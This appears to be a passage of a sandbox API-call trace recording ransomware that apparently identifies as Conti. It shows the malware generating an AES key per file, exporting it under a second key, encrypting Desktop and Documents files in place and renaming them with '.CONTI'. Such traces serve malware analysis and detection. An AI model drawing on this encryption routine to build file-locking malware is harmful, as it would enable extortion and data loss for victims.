	[0137.663] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\gfs6km.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\Gfs6kM.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\gfs6km.m4a.conti")) returned 1
	[0137.663] GetProcessHeap () returned 0x1720000
	[0137.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.663] CryptDestroyKey (hKey=0x6b7ebf8) returned 1
	[0137.663] GetProcessHeap () returned 0x1720000
	[0137.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbc90 | out: hHeap=0x1720000) returned 1
	[0137.663] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.664] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b51ba8 | out: phKey=0x6b51ba8*=0x6b7ee38) returned 1
	[0137.664] CryptExportKey (in: hKey=0x6b7ee38, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51bac, pdwDataLen=0x4fbf86c | out: pbData=0x6b51bac*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.664] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ubbus2qlwwbkgfmjumi.bmp")) returned 0x20
	[0137.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ubbus2qlwwbkgfmjumi.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.665] GetLastError () returned 0x0
	[0137.665] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=12664) returned 1
	[0137.665] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3178
	[0137.665] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.665] SetEndOfFile (hFile=0x430) returned 1
	[0137.665] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.665] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.665] WriteFile (in: hFile=0x430, lpBuffer=0x6b51bac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b51bac*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0137.668] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.668] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x3178, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x3178, lpOverlapped=0x0) returned 1
	[0137.669] CryptEncrypt (in: hKey=0x6b7ee38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3178, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x3180) returned 1
	[0137.669] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.669] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x3180, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x3180, lpOverlapped=0x0) returned 1
	[0137.669] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.669] WriteFile (in: hFile=0x430, lpBuffer=0x6b51ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b51ba0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0137.669] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.669] CloseHandle (hObject=0x430) returned 1
	[0137.669] GetProcessHeap () returned 0x1720000
	[0137.669] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.669] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp"
	[0137.669] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp.CONTI"
	[0137.669] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ubbus2qlwwbkgfmjumi.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\uBbUs2QlwWBkGfmJUmI.bmp.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\ubbus2qlwwbkgfmjumi.bmp.conti")) returned 1
	[0137.670] GetProcessHeap () returned 0x1720000
	[0137.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.670] CryptDestroyKey (hKey=0x6b7ee38) returned 1
	[0137.670] GetProcessHeap () returned 0x1720000
	[0137.670] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ab40 | out: hHeap=0x1720000) returned 1
	[0137.670] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0137.670] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b52710 | out: phKey=0x6b52710*=0x6b7eab8) returned 1
	[0137.670] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52714, pdwDataLen=0x4fbf86c | out: pbData=0x6b52714*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0137.671] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\umhniy.jpg")) returned 0x20
	[0137.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\umhniy.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430
	[0137.671] GetLastError () returned 0x0
	[0137.671] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=11489) returned 1
	[0137.671] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce1
	[0137.671] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.671] SetEndOfFile (hFile=0x430) returned 1
	[0137.672] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.672] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.672] WriteFile (in: hFile=0x430, lpBuffer=0x6b52714*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b52714*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.071] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.071] ReadFile (in: hFile=0x430, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2ce1, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2ce1, lpOverlapped=0x0) returned 1
	[0139.072] CryptEncrypt (in: hKey=0x6b7eab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2ce1, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2cf0) returned 1
	[0139.072] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.072] WriteFile (in: hFile=0x430, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2cf0, lpOverlapped=0x0) returned 1
	[0139.072] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.072] WriteFile (in: hFile=0x430, lpBuffer=0x6b52708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b52708*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.072] SetFilePointer (in: hFile=0x430, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.072] CloseHandle (hObject=0x430) returned 1
	[0139.072] GetProcessHeap () returned 0x1720000
	[0139.072] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.595] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg"
	[0139.595] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg.CONTI"
	[0139.595] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\umhniy.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\nwXTNMBVuI\\umhNiY.jpg.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\nwxtnmbvui\\umhniy.jpg.conti")) returned 1
	[0139.597] GetProcessHeap () returned 0x1720000
	[0139.597] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.597] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0139.597] GetProcessHeap () returned 0x1720000
	[0139.597] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbe98 | out: hHeap=0x1720000) returned 1
	[0139.597] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.597] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b51040 | out: phKey=0x6b51040*=0x6b7ecb8) returned 1
	[0139.597] CryptExportKey (in: hKey=0x6b7ecb8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51044, pdwDataLen=0x4fbf86c | out: pbData=0x6b51044*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.599] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\l9f9tncmrhhbr5zs.ppt")) returned 0x20
	[0139.599] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\l9f9tncmrhhbr5zs.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.600] GetLastError () returned 0x0
	[0139.600] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=62957) returned 1
	[0139.600] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf5ed
	[0139.600] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.600] SetEndOfFile (hFile=0x424) returned 1
	[0139.600] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.600] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.600] WriteFile (in: hFile=0x424, lpBuffer=0x6b51044*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b51044*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.602] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.602] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0xf5ed, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0xf5ed, lpOverlapped=0x0) returned 1
	[0139.607] CryptEncrypt (in: hKey=0x6b7ecb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xf5ed, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0xf5f0) returned 1
	[0139.607] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.607] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0xf5f0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0xf5f0, lpOverlapped=0x0) returned 1
	[0139.608] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.608] WriteFile (in: hFile=0x424, lpBuffer=0x6b51038*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b51038*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.608] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.608] CloseHandle (hObject=0x424) returned 1
	[0139.608] GetProcessHeap () returned 0x1720000
	[0139.608] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.608] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt") returned="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt"
	[0139.608] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt.CONTI"
	[0139.608] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt" (normalized: "c:\\users\\fd1hvy\\documents\\l9f9tncmrhhbr5zs.ppt"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\L9f9TncMrHHBR5Zs.ppt.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\l9f9tncmrhhbr5zs.ppt.conti")) returned 1
	[0139.609] GetProcessHeap () returned 0x1720000
	[0139.609] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.609] CryptDestroyKey (hKey=0x6b7ecb8) returned 1
	[0139.609] GetProcessHeap () returned 0x1720000
	[0139.609] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cbf68 | out: hHeap=0x1720000) returned 1
	[0139.609] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.609] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7e9b8) returned 1
	[0139.609] CryptExportKey (in: hKey=0x6b7e9b8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x4fbf86c | out: pbData=0x6b4fbbc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.610] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\mwtrr8y5zz.pptx")) returned 0x20
	[0139.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\mwtrr8y5zz.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.610] GetLastError () returned 0x0
	[0139.610] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=90568) returned 1
	[0139.610] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x161c8
	[0139.610] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.610] SetEndOfFile (hFile=0x424) returned 1
	[0139.610] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.610] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.610] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0139.613] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.613] ReadFile (in: hFile=0x424, lpBuffer=0xe980000, nNumberOfBytesToRead=0x161c8, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x161c8, lpOverlapped=0x0) returned 1
	[0139.617] CryptEncrypt (in: hKey=0x6b7e9b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x161c8, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x161d0) returned 1
	[0139.617] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0139.617] WriteFile (in: hFile=0x424, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x161d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x161d0, lpOverlapped=0x0) returned 1
	[0139.618] SetFilePointerEx (in: hFile=0x424, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0139.618] WriteFile (in: hFile=0x424, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0139.618] SetFilePointer (in: hFile=0x424, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0139.618] CloseHandle (hObject=0x424) returned 1
	[0139.618] GetProcessHeap () returned 0x1720000
	[0139.618] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0139.618] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx") returned="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx"
	[0139.618] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx.CONTI"
	[0139.618] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\mwtrr8y5zz.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\mwtrr8y5zz.pptx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\mwtrr8y5zz.pptx.conti")) returned 1
	[0139.619] GetProcessHeap () returned 0x1720000
	[0139.619] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0139.619] CryptDestroyKey (hKey=0x6b7e9b8) returned 1
	[0139.619] GetProcessHeap () returned 0x1720000
	[0139.619] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740f80 | out: hHeap=0x1720000) returned 1
	[0139.619] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.619] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b514d0 | out: phKey=0x6b514d0*=0x6b7eab8) returned 1
	[0139.619] CryptExportKey (in: hKey=0x6b7eab8, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b514d4, pdwDataLen=0x4fbf86c | out: pbData=0x6b514d4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0139.620] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx")) returned 0x20
	[0139.620] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\My Shapes\\Favorites.vssx" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\favorites.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x424
	[0139.620] GetLastError () returned 0x0
	[0139.620] GetFileSizeEx (in: hFile=0x424, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=0) returned 1
	[0139.620] CryptDestroyKey (hKey=0x6b7eab8) returned 1
	[0139.620] CloseHandle (hObject=0x424) returned 1
	[0139.620] GetProcessHeap () returned 0x1720000
	[0139.620] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de840 | out: hHeap=0x1720000) returned 1
	[0139.620] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0139.620] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f4e0 | out: phKey=0x6b4f4e0*=0x6b7ecf8) returned 1
